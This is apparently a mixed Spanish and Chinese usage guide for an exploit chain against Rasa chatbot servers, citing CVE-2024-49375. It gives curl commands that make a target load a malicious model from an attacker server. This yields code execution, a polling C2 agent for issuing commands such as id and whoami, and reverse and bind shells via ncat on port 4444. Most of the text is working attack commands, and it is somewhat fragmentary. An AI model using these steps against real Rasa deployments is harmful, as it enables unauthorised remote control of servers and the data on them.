
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
Ejecútalo directamente
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

El resultado es el siguiente:

El nombre del modelo predeterminado es evil_import_model.tar.gz
Modelo malicioso demo
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
Establece reglas de diálogo malicioso
Ingresa
greety devuelvePWNED_BY_CTF
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

El resultado es el siguiente

model.py modifica los datos especificados dentro del paquete comprimido
Ejecútalo directamente; por defecto lee el modelo del directorio /model, lo modifica y lo guarda como evil_import_model.tar.gz en el directorio actual

Especifica la IP de la reverse shell
El nombre del modelo predeterminado es evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

Basta con enviar los datos en secuencia
Pueden diferir en escenarios reales
攻击机 Rasa容器(target)
│ │
├─ 启动 server-2.py ─────────┤
├─ PUT /model ──→ 下载 pwnmod.py 到 /app/
├─ PUT /model ──→ 下载恶意模型 → import pwnmod → agent 启动
│ │
│ ← GET /poll?agent=xxx ───┤ 每 3s 轮询
├─ /enqueue?cmd=id ─────────┤
│ ← GET /poll ─────────────┤ 拿到命令
│ ← POST /result ──────────┤ 回传结果
├─ /last?agent=xxx ──→ 读结果
# 攻击机启动
python server-2.py --mode c2 --c2-base-url http://<攻击机IP>:8000 --port 8000
# 触发 exploit(两步)
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'
# 下发命令
curl "http://<攻击机IP>:8000/enqueue?cmd=id"
# 等 8 秒后读结果(agent 每 3s 轮询 + 执行时间)
curl "http://<攻击机IP>:8000/last?agent=<hostname>"
# 不指定 agent 也行(走通配符)
curl "http://<攻击机IP>:8000/enqueue?cmd=whoami"
curl "http://<攻击机IP>:8000/last"
# 1) 攻击机启动监听
ncat -lvnp 4444
# 2) 攻击机启动 server-2.py
python server-2.py --mode reverse --reverse-host <攻击机IP> --reverse-port 4444 --port 8000
# 3) 触发 exploit
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'
# 4) nc 收到 $ 提示符,直接交互
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent 在目标容器内监听 0.0.0.0:4444
# ncat <目标IP> 4444 即可连接
| 参数 | 含义 |
|---|
--port 8000 | Puerto de escucha del propio server-2.py |
--c2-base-url | URL base completa que el agente sondea en modo C2 (debe ser una dirección accesible desde el contenedor) |
--reverse-host | IP objetivo de la reverse shell |
--reverse-port | Puerto objetivo de la reverse shell |